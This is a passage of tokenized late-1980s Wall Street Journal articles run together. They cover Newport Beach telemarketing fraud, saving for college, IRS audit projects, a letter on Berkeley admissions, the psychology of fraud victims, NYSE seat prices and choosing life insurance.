known as the fraud capital of the U.S. , dubbed by investigators and the media as the `` Cote de Fraud '' . +How does a community famous for its high living end up as a haven for low-lifes ? +Clearly , the existence of the former lures the latter . +The places renowned for breeding bunco , like the Miami neighborhood known as the `` Maggot Mile '' and Las Vegas 's flashy strip of casinos , invariably offer fast cars , high rollers , glamorous women and lots of sunshine . +You do n't hear much about unusual concentrations of fraud in Green Bay or Buffalo . +Con men hate snow . +Newport Beach fits the scam artists ' specifications perfectly . +What more could a con man in search of the easy life ask for ? +Nothing seems hard here . +The breezes are soft , the waves lap gently and the palm trees sway lazily . +Nightlife is plentiful . +Moreover , ostentation is appreciated . +The median price of homes is $ 547,000 ; more than 9,000 vessels fill what the chamber of commerce calls the nation 's largest pleasure-boat harbor . +`` Blondes , cocaine and Corvettes , '' mutters Mr. McClelland . +`` That 's what they 're after . '' +The rich image of Newport Beach also helps lend the con artists ' operation an air of respectability . +`` One reason they use Newport Beach is that it sounds swankier than most addresses , '' says David Katz , a U.S. attorney who , until recently , headed a multi-agency Southern California fraud task force . +`` Newport Beach is known in Rhode Island for having a lot of rich people . '' +No wonder all kinds of big-time scams have flourished here , from phony tax-sheltered Bible sales to crooked car dealers to bogus penny-stock traders . +But above all , this is the national headquarters for boiler-room operators , those slick-talking snake-oil salesmen who use the telephone to extract money from the gullible and the greedy and then vanish . +Because only a fraction of them are ever prosecuted , nobody really knows how much money bogus telemarketing operators really harvest . +`` I 've heard that there is $ 40 billion taken in nationwide by boiler rooms every year , '' Mr. McClelland says . +`` If that 's true , Orange County has to be at least 10 % of that . '' +And most of the truly big scams in Orange County seem to originate in Newport Beach or one of the other well-heeled communities that surround this sliver-like city that hooks around a point of land on the California coast south of Los Angeles . +In fact , sophisticated big-bucks boiler-room scams are known generically among law-enforcement types as `` Newport Beach '' operations . +That contrasts with the penny-ante sales of things such as pen-and-pencil sets and office supplies that are known as `` Hollywood '' scams . +Newport Beach telemarketers concentrate on precious metals and oil-leasing deals that typically cost thousands of dollars a shot . +The investors range from elderly widows to affluent professionals . +In one ingenious recent example of a Newport Beach boiler room , prospective investors in Capital Trust Inc. were allegedly told that their investment in precious metals was insured against losses `` caused by employees due to dishonesty , destruction or disappearance , '' according to an indictment handed up by a federal grand jury in Los Angeles last month . +Thus falsely reassured , investors sent $ 11.4 million to the Newport Beach company , most of which was diverted to unauthorized uses , the indictment charges . +Douglas Jones , an attorney representing Richard O. Kelly Sr. , the chairman and president of Capital Trust , says his client denies that there was any attempt to defraud investors . +`` There were some business deals that went bad , '' Mr. Jones says , `` but no intent to defraud . '' +Newport Beach operations differ from the Hollywood boiler rooms in style as well as in dollars . +Traditionally , boiler rooms operate on the cheap , since few , if any , customers ever visit their offices . +Indeed , the name derives from the tendency among telemarketing scammers to rent cheap basement space , near the boiler room . +But , says Mr. Katz , the U.S. attorney , `` the interesting thing about Newport Beach operations is that they give themselves the indulgence of beautiful offices , with plush furnishings . +When we go there , it 's quite different from these Hollywood places where the sandwiches are spread out on the table and the people are picking their noses . '' +The Newport Beach operators also tend to indulge themselves privately . +Investigators cite the case of Matthew Valentine , who is currently serving a six-year sentence at Lompoc Federal Prison for his role in Intech Investment Corp. , which promised investors returns of as much as 625 % on precious metals . +Mr. Valentine , who pleaded guilty to five counts of fraud in federal court in Los Angeles , drove a leased Mercedes and lived in an expensive home on Lido Isle , an island in Newport 's harbor , according to investigators . +With the $ 3 million received from investors , he took frequent junkets with friends to exotic locales and leased an expensive BMW for his girlfriend , whom he met at the shop where he got his custom-tailored suits . +`` It 's amazing the amount of money that goes up their nose , out to the dog track or to the tables in Las Vegas , '' Mr. Katz says . +All this talk of boiler rooms and fraud is unnerving to the city 's legitimate business element . +Vincent M Ciavarella , regional manager of Property Management Systems , insists he does n't know of any bogus telemarketers operating in the 1.6 million square feet of office space around Fashion Island that his company leases for Irvine Co. , the owner and developer of the project . +Mr. Ciavarella has rejected a few prospective tenants who provided `` incomplete '' financial information and acknowledges that illegitimate operators `` are not easily detectable . +'' -LRB- Investigators stress that building owners are victims , too , since boiler rooms often leave without paying rent . -RRB- +Richard Luehrs , president of the Newport Harbor Area Chamber of Commerce , calls boiler rooms a `` negative we wish we could get rid of . '' +Actually , `` we do n't get much negative publicity about this , '' he insists , `` except for the press who write about it . '' +Mr. Lancaster is deputy chief of The Wall Street Journal 's Dallas bureau . +YOU WENT to college and thought you got an education . +Now you discover that you never learned the most important lesson : How to send your kids to college . +True , when you went to college , there was n't that much to learn . +Stick some money in an interest-bearing account and watch it grow . +Now , investment salesmen say it 's time to take some risks if you want the kind of returns that will buy your toddler a ticket to Prestige U. in 18 years . +In short , throw away the passbook and go for the glory . +The reason is cost . +Nothing in the annals of tuition readied parents for the 1980s . +Tuitions at private colleges rose 154 % in the 10 years ended in June of this year ; that 's twice the 77 % increase in consumer prices for the same period . +A year at Harvard now goes for $ 19,395 . +By 2007 , when this year 's newborns hit campus , a four-year Ivy League sheepskin will cost $ 300,000 , give or take a few pizzas-with-everything at exam time . +Stanford , MIT and other utmosts will cost no less . +So what 's a parent to do ? +Some investment advisers are suggesting , in effect , a bet on a start-up investment pool -- maybe even on margin . +Others prefer deep-discount zero-coupon bonds . +Still others say , Why not take a chance on a high-octane growth fund ? +`` You 're not going to make it in a 5 % bank account , '' says James Riepe , director of mutual funds at T. Rowe Price . +To get the necessary growth , adds Murray Ruffel , a marketing official at the Financial Programs mutual-fund group , `` you need to go to the stock market . '' +In other words , a little volatility never hurt . +It never hurt anyone , that is , unless the growth funds do n't grow when you need them to . +Or the zero-coupon bonds turn out not to have been discounted deeply enough to pay your kid 's tuition . +That 's the dilemma for today 's parent . +Although many experts are advising risk , no one has a good answer for you if the risk does n't pay off . +Help may be on the way . +The antitrust division of the Justice Department is investigating the oddly similar tuition charges and increases among the top schools . +Fear of the price police could help cool things off in the 1990s . +And then there 's always State U . +But parents ' craving for a top-rated education for their children is growing like their taste for fancy wheels and vintage wine . +Belatedly aware of public concern , lawmakers and financial middlemen are working overtime to create and sell college savings and investment schemes . +Their message , explicit or implicit , is that a good college will cost so much by whenever you want it that the tried and true wo n't do anymore . +Forget about Treasury bills or a money-market fund . +The latest wave of marketing is instructive . +Several outfits -- including the Financial Programs , Franklin , and T. Rowe Price mutual-fund groups and the Edward D. Jones brokerage house -- are advertising `` college planner '' tables and charts that tell you how much you need to put aside regularly . +The calculations generally rely on an after-tax rate of return of 8 % annually -- a rate historically obtainable by the individual in only one place , the stock market . +Most of the mailers are free , but Denver-based Financial Programs sells , for $ 15 , a version customized to the age of the child and the college of choice . +The figures are shocking . +To build a nest egg that would pay for Stanford when a current first-grader reaches college age , parents would need to set aside $ 773.94 a month -- for 12 years . +They can cut this to $ 691.09 a month if the investing keeps up through college . +And they can further reduce the monthly amount if they start saving earlier -- when mother and child come home from the hospital . +Plugging a cheaper college into the formulas still does n't generate an installment most people can live with . +Using a recent average private-school cost of about $ 12,500 a year , T. Rowe Price 's planner prescribes $ 450 monthly if the plan begins when the child is six . +Since the formula assumes an 8 % before-tax return in a mutual fund , there would also be $ 16,500 in taxes to pay over the 12 years . +Not everyone is so pessimistic . +`` People are basically peddling a lot of fear , '' says Arthur Hauptman , a consultant to the American Council on Education in Washington . +He takes issue with projections that do n't factor in students ' own contribution , which reduces most parents ' burden substantially . +Still , he says , `` it 's no bad thing '' if all the marketing prods people into putting aside a little more . +`` The situation you want to avoid is having somebody not save anything and hope they 'll be able to do it out of current income , '' he says . +`` That 's crazy . '' +His advice : Do n't panic . +Parents , he says , should aim at whatever regular investment sum they can afford . +Half the amount that the investment tables suggest might be a good goal , he adds . +That way , parents will reduce borrowings and outlays from current income when the time comes to pay tuition . +Mr. Hauptman reckons that the best investment choice is mutual funds because they are managed and over time have nearly kept up with the broad stock averages . +He favors either an all-stock fund or a balanced fund that mixes both stocks and bonds . +In their anxiety , however , parents and other student benefactors are flocking to new schemes . +They have laid out about $ 1 billion for so-called baccalaureate zero-coupon municipal bonds -- so far offered by Connecticut , Illinois , Virginia and eight other states . +And they have bought about $ 500 million in prepaid-tuition plans , offered in Michigan , Florida and Wyoming . +The prepaid plans take payment today -- usually at current tuitions or at a slight discount -- for a promise that tuition will be covered tomorrow . +The baccalaureate bonds -- tax-free , offered in small denominations and usually containing a provision that they wo n't be called before maturity -- seem to be tailor-made for college savers . +Like other zeros , they pay all their interest at maturity , meaning that buyers can time things so that their bonds pay off just when Junior graduates from high school . +Their compounding effect is also alluring . +In June , Virginia sold bonds for $ 268.98 that will pay $ 1,000 in 2009 . +But Richard Anderson , head of the Forum for College Financing Alternatives , at Columbia University , a research group partly financed by the federal government , says zeros are particularly ill-suited . +Their price falls further than that of other bonds when inflation and interest rates kick up . +That wo n't matter if they are held to maturity , but if , for any reason , the parents need to sell them before then , there could be a severe loss of principal . +Had zeros been available in 1972 and had parents bought a face amount equal to four years ' tuition at the time , aiming for their children 's 1988 enrollment , they would have been left with only enough to pay for two years , Mr. Anderson figures . +Most other bonds , however , would probably not have fared much better . +The prepaid plans may be a good bet , provided the guarantee of future tuition is secure . +Issuing states generally limit the guarantees to in-state institutions , however , and buyers get refunds without much interest if the children do n't attend the specified schools . +Two private groups are seeking Securities and Exchange Commission approval for plans that could be more broadly transferable . +Mr. Anderson wants the prestige colleges to sponsor such a plan . +The issue here may be the soundness of the guarantee . +Prepayments , much like mutual-fund purchases , are pooled for investment . +Sponsors are naturally counting on their ability to keep ahead of tuition inflation with investment returns . +But buyers are essentially betting on a start-up investment fund with no track record -- and some have been encouraged to borrow to do so . +One problem is that the Internal Revenue Service has decided that the investment earnings and gains of the sponsors ' funds are taxable . +The colleges , as educational institutions , had hoped that would n't be the case . +Based on historical rates of return , Mr. Anderson reckons a 100 % stock portfolio , indexed to the market , would have kept up with tuition and taxes in the 20th century . +But sponsors might not pick the stocks that will match the market . +And they 're leaning more toward fixed income , whose returns after tax have trailed tuition increases . +`` I 'm not sure they 're going to make it work , '' says Mr. Anderson . +What happens if the sponsors do n't have the cash to pay the tuitions ? +Florida and Wyoming have backed up their guarantees with the full faith and credit of the state governments , meaning that taxpayers will pick up any slack . +Not so Michigan . +Its plan is set up as an independent agency . +The state says there 's no worry -- investment returns , combined with fees and the gains from unused plans , will provide all the cash it needs . +Mr. Putka covers education from The Wall Street Journal 's Boston bureau . +If you start saving for your child 's eduction on Jan. 1 , 1990 , here 's the monthly sum you will need to invest to pay for four years at Yale , Notre Dame and University of Minnesota . +Figures assume a 7 % annual rise in tuition , fees , room and board and an 8 % annual investment return . +Note : These figures are only for mandatory charges and do n't include books , transportation etc . +\* For in-state students +Source : PaineWebber Inc . +AMONG THE CATFISH farmers in the watery delta land of Humphreys County , Miss. , Allen D. Tharp of Isola was one of the best known and most enterprising . +He sold quarter-inch fingerlings to stock other farmers ' ponds , and he bought back one-pound-or-so food-fish that he `` live-hauled '' to market along with his own whiskery crop . +And he nearly always bought and sold for cash . +Along the way , Mr. Tharp omitted a total of $ 1.5 million from his receipts reported on federal tax returns for three years . +The returns landed in the hands of an Internal Revenue Service criminal investigator , Samuel James Baker . +Mr. Baker interviewed or wrote to hundreds of catfish farmers , live-haulers and processors throughout the South before coming up with detailed estimates of purchases and sales , in pounds and dollars , by Mr. Tharp and others . +Unknown to Mr. Tharp , he had fouled his net on a special IRS project to catch catfish farmers and haulers inclined to cheat on their taxes . +Confronted with the evidence , Mr. Tharp pleaded guilty to one charge of filing a false return and was fined $ 5,000 and sentenced to 18 months in prison . +He also owes a lot of back taxes , interest and civil fraud penalties . +A lot of taxpayers out there are n't as paranoid as one might think . +Federal and state tax enforcers develop many group targets for investigation , on the basis of occupation , high income , type of income , or some other characteristic that may signal an opportunity or tendency to hide income or exaggerate deductions . +Many professions long have seemed to be targets because of the exotic or ludicrous efforts of some members to offset high income with fake losses from phony tax shelters : dentists who invested in dubiously dubbed foreign films or airline pilots who raised racehorses on their days off . +Mail-order ministers have been squelched . +Now , television and radio evangelists are under scrutiny . +The IRS recently won part of its long-running battle with the Church of Scientology over exemptions when the U.S. Supreme Court held that members ' payments to the church were n't deductible because the members received services in return . +IRS statistics show that the more persistent hiders of income among sole proprietors of businesses include used-car dealers , entertainment producers , masons , roofers , and taxi owners . +Small businesses in general account for almost 40 % of unreported personal income , the IRS has said . +Once such abuses become so pervasive , the IRS builds another factor into its secret computer formula for selecting returns for audit and does n't need special projects for them . +San Franciscans have a much higher incidence of audits than average because more of them score high under that formula , not because IRS agents envy their life styles . +Many openings for mass cheating , such as questionable tax shelters and home offices , have gaped so broadly that Congress has passed stringent laws to close them . +Deductions of charitable gifts of highly valued art now must be accompanied by appraisals . +And laws requiring the reporting of more varieties of transactions have enabled the IRS to rely on computers to ferret out discrepancies with returns and to generate form-letter inquiries to taxpayers . +Unreported alimony income can be spotted by computer because a payer of alimony -LRB- who gets a deduction -RRB- must report the former spouse 's Social Security number . +Passport applicants now must give Social Security numbers , enabling the IRS to see whether Americans living abroad are filing required U.S. returns . +But while IRS computers focus routinely on target groups like these , the agency has assigned many agents to special projects that need more personal attention . +In most cases , the IRS says , these projects are local or regional , rather than national , and arise because auditors in an area detect some pattern of abuse among , say , factory workers claiming that having a multitude of dependents frees them from tax withholding or yacht owners deducting losses from sideline charter businesses . +The national office currently has 21 noncriminal audit projects , according to Marshall V. Washburn , deputy assistant commissioner for examination . +Auditors involved in noncriminal projects ca n't send anyone to jail , but they can make life miserable in other ways -- for one , by imposing some of the 150 different civil penalties for negligence , failure to file a return , and the like . +The targeted audit groups include direct sellers -- people who sell cosmetics , housewares and other items door to door or at home parties -- and employers who label workers as independent contractors instead of employees , to avoid the employer share of payroll taxes . +Other projects look for offenders among waiters who get cash tips , people who engage in large cash transactions , and people whose returns show they sold a home for a profit without reinvesting the capital gain in another home by the end of the same year ; the gain must be rolled over within two years to defer tax . +And now that returns must show dependents ' Social Security numbers , the IRS wants to see which dependents show up on more than one return -- and which dependents turn out to be deceased . +Impetus for the direct-seller project came from a congressional hearing some years back . +It prompted an IRS study that found many sellers were concealing income and treating large amounts of nondeductible travel and other personal expenses as business costs , Mr. Washburn says . +The study provided criteria for singling out returns of `` potentially noncompliant '' taxpayers who report low income and large expenses from a part-time business . +The Tax Court recently denied business deductions by Mr. and Mrs. Peter S. Rubin of Cherry Hill , N.J. , who both were part-time distributors of Amway products in addition to their regular jobs as sales people in other fields . +For 1984 , they reported gross income of $ 1,647 from Amway sales , offset by expenses totaling $ 16,746 -- including car costs of $ 6,805 and travel and entertainment costs of $ 5,088 . +The Tax Court did n't believe that the Rubins , who earned $ 65,619 in their regular jobs , treated the sideline as a real business and derived `` merely incidental elements of recreation and other personal pleasure and benefits '' from it . +The Direct Selling Association , a trade group , points out that its members , which include Amway Corp. , cooperate with the IRS to distribute tax-compliance material to sales people and are helping to prepare a public-service television program on the subject . +The independent-contractor project , which began in 1988 , involves about 350 IRS agents . +In the fiscal nine months ended June 30 , reports Raymond P. Keenan , assistant commissioner for collection , they examined about 13,000 employers , assessed more than $ 67 million in delinquent employment taxes , and reclassified about 56,000 workers as employees instead of self-employed contractors . +The number of misclassified workers may be in the millions , mostly paid by small firms . +Many workers , especially professionals , want to remain independent to avoid tax withholding and to continue to deduct many expenses that employees ca n't . +But many others , who want to qualify for employee benefits and unemployment compensation , become tipsters for the IRS , says Jerry Lackey , who manages the IRS project 's force of nine agents in north and central Florida from Orlando . +Firms that are paying employment taxes also provide leads to competitors that are n't , he says . +In his area , Mr. Lackey continues , the miscreant employers most commonly are in construction -- doing framing , drywall , masonry and similar work . +But a medical clinic with about 20 employees wrongly listed all of them -- including physicians and receptionists -- as independent contractors . +The IRS assessed the clinic $ 350,000 in back payroll taxes . +It assessed nearly $ 500,000 against a cruise-ship company that carried about 100 deckhands , cooks , bartenders , entertainers and other employees as self-employed independents . +Revenue-short states also are becoming more aggressive pursuers of tax delinquents , and perhaps none tracks them down with more relish than does New York since it acquired an $ 80 million computer system in 1985 . +The state 's tax enforcers have amassed data bases from other New York agencies that license or register professionals and businesses ; from exchange agreements with the IRS , 24 other states , and two Canadian provinces , and even from phonebook Yellow Pages . +Thus armed for massive matching of documents by computer , they single out high-income groups , looking primarily for people who have n't filed New York income-tax returns . +The state has combed through records relating to architects , stockbrokers , lawyers in the New York City area , construction workers from out of the state , and homeowners who claim to be residents of other states -- especially Florida , which has no personal income tax . +Soon to feel the glare of attention are lawyers elsewhere in the state , doctors , dentists , and accountants , says Frederick G. Hicks , director of the tax-department division that develops the computer-matching programs . +The department has collected over $ 6.5 million from brokers so far and recommended more than 30 of them for criminal prosecution . +In the early stage of checking people with incomes exceeding $ 500,000 who were filing nonresident returns , it squeezed $ 7.5 million out of a man who was posing as a Florida resident . +`` We think we can reclaim hundreds of millions of dollars just through the nonresident project , '' Mr. Hicks declares . +Mr. Schmedel is editor of The Wall Street Journal 's Tax Report column . +In finding `` good news '' in Berkeley 's new freshman admissions plan -LRB- `` The Privileged Class , '' editorial , Sept. 20 -RRB- , you 're reading the headline but not the story . +The plan indeed raises from 40 % to 50 % the number of freshmen applicants admitted strictly by academic criteria . +But that does n't mean `` half of the students attending Berkeley '' will be admitted this way . +The plan is talking about applicants admitted , not students who enroll . +Since the `` yield '' from this top slice of applicants is relatively low , boosting admits from 40 % to 50 % will boost registrants from about 31 % to 38 % of the class . +In addition , perhaps 5 % of registrants will come from a new category consisting of applicants whose academic credentials `` narrowly missed '' gaining them admission in the first category . +But against that combined increase of 12 % in students chosen by academic criteria , the plan eliminates a large category in which admissions now are based on grades , test scores and `` supplemental points '' for factors such as high-school curriculum , English-language proficiency and an essay . +This category now accounts for about 19 % of admits and 22 % of registrants . +The plan thus will decrease by 22 % , for a net loss of 10 % , the number of students admitted primarily by academic criteria . +Who will take over these places ? +The plan creates a new category of students from `` socioeconomically disadvantaged backgrounds , '' a concept not yet defined , and gives them about 10 % of the class . +One of the plan 's authors has defended the `` socioeconomic disadvantage '' category as perhaps making more sense than the current affirmative-action preferences based on race . +Perhaps it does . +But the new category does not replace or reduce Berkeley 's broad racial preferences . +Nor will students from racial-minority groups who are admitted through the new category be counted against the affirmative-action `` target '' for their group . +The plan thus places a large new affirmative-action program , based on `` socioeconomic disadvantage , '' on top of the existing program based on race . +The role of academic criteria in choosing Berkeley 's freshmen can only decline as a result . +Stephen R. Barnett Professor of Law University of California Berkeley , Calif . +FOR THOSE WHO DELIGHT in the misfortune of others , read on . +This is a story about suckers . +Most of us know a sucker . +Many of us are suckers . +But what we may not know is just what makes somebody a sucker . +What makes people blurt out their credit-card numbers to a caller they 've never heard of ? +Do they really believe that the number is just for verification and is simply a formality on the road to being a grand-prize winner ? +What makes a person buy an oil well from some stranger knocking on the screen door ? +Or an interest in a retirement community in Nevada that will knock your socks off , once it is built ? +Because in the end , these people always wind up asking themselves the same question : `` How could I be so stupid ? '' +There are , unfortunately , plenty of answers to that question -- and scam artists know all of them . +`` These people are very skilled at finding out what makes a person tick , '' says Kent Neal , chief of the economic-crime unit of the Broward County State Attorney 's Office in Fort Lauderdale , Fla. , a major haven for boiler rooms . +`` Once they size them up , then they know what buttons to push . '' +John Blodgett agrees -- and he ought to know . +He used to be a boiler-room salesman , peddling investments in oil and gas wells and rare coins . +`` There 's a definite psychology of the sale and different personalities you pitch different ways , '' he says . +The most obvious pitch , of course , is the lure of big returns . +`` We 're all a little greedy . +Everyone is vulnerable , '' says Charles Harper , associate regional administrator for the Securities and Exchange Commission in Miami . +`` These guys prey on human frailties . '' +While the promises of big profits ought to set off warning bells , they often do n't , in part because get-rich-quick tales have become embedded in American folklore . +`` The overnight success story is part of our culture , and our society puts an emphasis on it with lotteries and Ed McMahon making millionaires out of people , '' says Michael Cunningham , an associate professor of psychology at the University of Kentucky in Louisville . +`` Other people are making it overnight , and the rest who toil daily do n't want to miss that opportunity when it seems to come along . '' +Adds Spencer Barasch , branch chief for enforcement at the SEC in Fort Worth , Texas : `` Why do people play the lottery when the odds are great against them ? +People are shooting for a dream . '' +Clearly , though , scam artists have to be a bit more subtle than simply promising millions ; the psychology of suckers is n't simply the psychology of the greedy . +There 's also , for instance , the need to be part of the in-crowd . +So one popular ploy is to make a prospective investor feel like an insider , joining an exclusive group that is about to make a killing . +Between 1978 and 1987 , for instance , SH Oil in Winter Haven , Fla. , sold interests in oil wells to a very select group of local residents , while turning away numerous other eager investors . +The owner of the company , Stephen Smith , who has since pleaded guilty to state and federal fraud charges , confided to investors that he had a secret agreement with Amoco Oil Co. and said the location of his wells was confidential , according to a civil suit filed in a Florida state court by the Florida comptroller 's office . +Neither the Amoco agreement nor the wells existed , the suit alleged . +Such schemes , says Tony Adamski , chief of the financial-crimes unit of the Federal Bureau of Investigation in Washington , D.C. , appeal to investors ' `` desire to believe this is really true and that they are part of a chosen group being given this opportunity . '' +At times , salesmen may embellish the inside information with `` the notion that this is some slightly shady , slightly illegal investment the person is being included in , '' says Mr. Cunningham . +In appealing to those with a bit of larceny in their hearts , the fraud artist can insist that a person keep an investment secret -- insulating himself from being discovered and keeping his victim from consulting with others . +It also adds to the mystery of the venture . +Mr. Blodgett , the boiler-room veteran , believes that for many investors , the get-rich-quick scams carry a longed-for element of excitement . +`` Once people got into it , I was allowing them to live a dream , '' he says . +He phoned them with updates on the investment , such as `` funny things that happened at the well that week , '' he says . +`` You gave them some excitement that they did n't have in their lives . '' +-LRB- Mr. Blodgett , who was convicted in Florida state court of selling unregistered securities and in California state court of unlawful use of the telephone to defraud and deceive , is now on probation . +He says he has quit the business and is back in school , majoring in psychology with aspirations to go into industrial psychology . -RRB- +For some investors , it 's the appearances that leave them deceived . +`` The trappings of success go a long way -- wearing the right clothes , doing the right things , '' says Paul Andreassen , an associate professor of psychology at Harvard . +Conservative appearances make people think it 's a conservative investment . +`` People honestly lose money on risky investments that they did n't realize were a crapshoot , '' he says . +Paul Wenz , a Phoenix , Ariz. , attorney , says a promise of unrealistic returns would have made him leery . +But Mr. Wenz , who says he lost $ 43,000 in one precious-metals deal and $ 39,000 in another , says a salesman `` used a business-venture approach '' with him , sending investment literature , a contract limiting the firm 's liability , and an insurance policy . +When he visited the company 's office , he says , it had `` all the trappings of legitimacy . '' +Still others are stung by a desire to do both well and good , says Douglas Watson , commanding officer of the Los Angeles Police Department 's bunko-forgery division . +Born-again Christians are the most visible targets of unscrupulous do-gooder investment pitches . +But hardly the only ones : The scams promise -- among other things -- to help save the environment , feed starving families and prevent the disappearance of children . +Psychologists say isolated people who do n't discuss their investments with others are particularly at risk for fraud . +Scam artists seek out such people -- or try to make sure that their victims isolate themselves . +For instance , salesmen may counter a man 's objection that he wants to discuss an investment with his wife by asking , `` Who wears the pants in your family ? '' +Or an investor who wants his accountant 's advice may be told , `` You seem like a guy who can make up his own mind . '' +Often con artists will try to disarm their victims by emphasizing similarities between them . +William Lynes , a retired engineer from Lockheed Corp. , says he and his wife , Lily , warmed to the investment pitches of a penny-stock peddler from Stuart-James Co. in Atlanta after the broker told them he , too , had once worked with Lockheed . +The Lyneses , of Powder Springs , Ga. , have filed suit in Georgia state court against Stuart James , alleging fraud . +They are awaiting an arbitration proceeding . +They say the broker took them out for lunch frequently . +He urged them to refer their friends , who also lost money . +-LRB- Donald Trinen , an attorney for the penny-brokerage firm , denies the fraud allegations and says the Lyneses were fully apprised that they were pursuing a high-risk investment . -RRB- +`` It 's not uncommon for these guys to send pictures of themselves or their families to ingratiate themselves to their clients , '' says Terree Bowers , chief of the major-frauds section of the U.S. attorney 's office in Los Angeles . +`` We 've seen cases where salesmen will affect the accent of the region of the country they are calling . +Anything to make a sale . '' +Experts say that whatever a person 's particular weak point , timing is crucial . +People may be particularly vulnerable to flim-flam pitches when they are in the midst of a major upheaval in their lives . +`` Sometimes when people are making big changes , retiring from their jobs , moving to a new area , they lose their bearings , '' says Maury Elvekrog , a licensed psychologist who is now an investment adviser and principal in Seger-Elvekrog Inc. , a Birmingham , Mich. , investment-counseling firm . +`` They may be susceptible to some song and dance if it hits them at the right time . '' +They are obviously also more susceptible when they need money - retirees , for instance , trying to bolster their fixed income or parents fretting over how to pay for a child 's college expenses . +`` These people are n't necessarily stupid or naive . +Almost all of us in comparable circumstances might be victimized in some way , '' says Jerald Jellison , a psychology professor at the University of Southern California in Los Angeles . +Nick Cortese thinks that 's what happened to him . +Mr. Cortese , a 33-year-old Delta Air Lines engineer , invested some $ 2,000 in penny stocks through a broker who promised quick returns . +`` We were saving up to buy a house , and my wife was pregnant , '' says Mr. Cortese . +`` It was just before the Christmas holidays , and I figured we could use some extra cash . '' +The investment is worth about $ 130 today . +`` Maybe it was just a vulnerable time , '' says Mr. Cortese . +`` Maybe the next day or even an hour later , I would n't have done it . '' +Ms. Brannigan is a staff reporter in The Wall Street Journal 's Atlanta bureau . +Prices for seats on the New York Stock Exchange are recovering a bit after hitting a four-year low earlier this month . +Two seats on the Big Board were sold yesterday for $ 455,000 , and then $ 500,000 . +The previous sale was $ 436,000 on Oct. 17 ; the last time prices were that low was November 1985 , when a seat sold for $ 425,000 . +Prices peaked at $ 1,150,000 in September 1987 . +Seats are currently quoted at $ 430,000 bid and $ 525,000 asked . +FOX HUNTING HAS been defined as the unspeakable in pursuit of the inedible , but at least it 's exercise . +At least it has a little dash . +Most of us have to spend our time on pursuits that afford neither , drab duties rather than pleasures . +Like trying to buy life insurance , for instance , an endeavor notably lacking in dash . +Call it the uninformed trudging after the incomprehensible . +But sooner or later , most of us have to think about life insurance , just as we often have to think about having root-canal work . +And my time has come . +I 'm 33 , married , no children , and employed in writing stories like this one . +In times past , life-insurance salesmen targeted heads of household , meaning men , but ours is a two-income family and accustomed to it . +So if anything happened to me , I 'd want to leave behind enough so that my 33-year-old husband would be able to pay off the mortgage and some other debts -LRB- though not , I admit , enough to put any potential second wife in the lap of luxury -RRB- . +Figuring that maybe $ 100,000 to $ 150,000 would do but having no idea of what kind of policy I wanted , I looked at the myriad products of a dozen companies -- and plunged into a jungle of gibberish . +Over the past decade or two , while I was thinking about fox hunting , the insurance industry has spawned an incredible number of products , variations on products , and variations on the variations . +Besides term life and whole life -LRB- the old standbys -RRB- , we now have universal life , universal variable life , flexible adjustable universal life , policies with persistency bonuses , policies festooned with exotic riders , living benefit policies , and on and on . +What to do ? +First , generalize . +Shorn of all their riders , special provisions , and other bells and whistles , insurance policies can still be grouped under two broad categories : so-called pure insurance , which amasses no cash value in the policy and pays off only upon death , and permanent insurance , which provides not only a death benefit but also a cash value in the policy that can be used in various ways while the insured is still alive . +If all you want is death-benefit coverage , pure insurance -- a term policy -- gives you maximum bang for your buck , within limits . +It 's much cheaper than permanent insurance bought at the same age . +But `` term '' means just that ; the policy is written for a specific time period only and must be renewed when it expires . +It may also stipulate that the insured must pass another medical exam before renewal ; if you flunk -- which means you need insurance more than ever -- you may not be able to buy it . +Even if you 're healthy and can renew , your premium will go up sharply because you 're that much older . +So term insurance may not be as cheap as it looks . +There are all sorts of variations on term insurance : policies structured to pay off your mortgage debt , term riders tacked on to permanent insurance , and many others . +One variation that appealed to me at first was the `` Money Smart Term Life '' policy offered by Amex Life Insurance Co. , the American Express unit , to the parent company 's credit-card holders . +Upon examination , however , I wondered whether the plan made a lot of sense . +Amex said it would charge me $ 576 a year for $ 100,000 of coverage -- and would pay me back all the premiums I put in if I canceled the policy after 10 years . +Sounds great -- or does it ? +First , if I canceled , I 'd have no more insurance , a not insignificant consideration . +Second , the $ 5,760 I 'd get back would be much diminished in purchasing power by 10 years of inflation ; Amex , not I , would get the benefit of the investment income on my money , income that would have exceeded the inflation rate and thus given the company a real profit . +Third and most important , Amex would charge me a far higher premium than other reputable companies would on a straight term policy for the same amount ; I 'd be paying so heavily just to have the option of getting my premiums back that I 'd almost have to cancel to make the whole thing worthwhile . +That would be all right with Amex , which could then lock in its investment profit , but it does n't add up to a `` smart money '' move for me . +Which goes to show that the First Law applies in insurance as in anything else : There is no free lunch , there is only marketing . +And the Second Law , unique to insurance ? +If I die early , I win -- a hollow victory , since I ca n't enjoy it -- and if I live long , the insurer wins . +Always . +This is worth remembering when insurers and their salesmen try to sell you permanent insurance , the kind that amasses cash value . +The word `` death '' can not be escaped entirely by the industry , but salesmen dodge it wherever possible or cloak it in euphemisms , preferring to talk about `` savings '' and `` investment '' instead . +The implication is that your permanent-insurance policy is really some kind of CD or mutual-fund account with an added feature . +That is gilding the lily . +The fact is that as a savings or investment vehicle , insurance generally runs a poor second to any direct investment you might make in the same things the insurance company is putting your money into . +That 's because you have to pay for the insurance portion of the policy and the effort required to sell and service the whole package . +Again , no free lunch . +This is reflected in a built-in mortality cost -- in effect , your share of the company 's estimated liability in paying off beneficiaries of people who had the effrontery to die while under its protection . +And in most cases , a huge hunk of your premium in the initial year or two of the the policy is , in effect , paying the salesman 's commission as well ; investment returns on most policies are actually negative for several years , largely because of this . +So view permanent insurance for what it is -- a compromise between pure insurance and direct investment . +The simplest , most traditional form of permanent insurance is the straight whole life policy . +You pay a set premium for a set amount of coverage , the company invests that premium in a portfolio of its choosing , and your cash value and dividends grow over the years . +One newer wrinkle , so called single-premium life -LRB- you pay for the whole policy at once -RRB- , has been immensely popular in recent years for tax reasons ; the insured could extract cash value in the form of policy `` loans , '' and none of the proceeds were taxable even though they included gains on investment . +Congress closed this loophole last year , or thought it did . +However , Monarch Capital Corp. of Springfield , Mass. , has developed a `` combination plan '' of annuity and insurance coverage that it says does not violate the new regulations and that allows policy loans without tax consequences . +But the percentage of your cash reserve that you can borrow tax-free is very small . +I 'm not prepared in any case to put that much money into a policy immediately , so I look into the broad category called universal life . +Hugely popular , it is far more flexible than straight whole life . +I can adjust the amount of insurance I want against the amount going into investment ; I can pay more or less than the so-called target premium in a given year ; and I can even skip payments if my cash reserves are enough to cover the insurance portion of the policy . +In looking at these and other policies , I learn to ask pointed questions about some of the assumptions built into 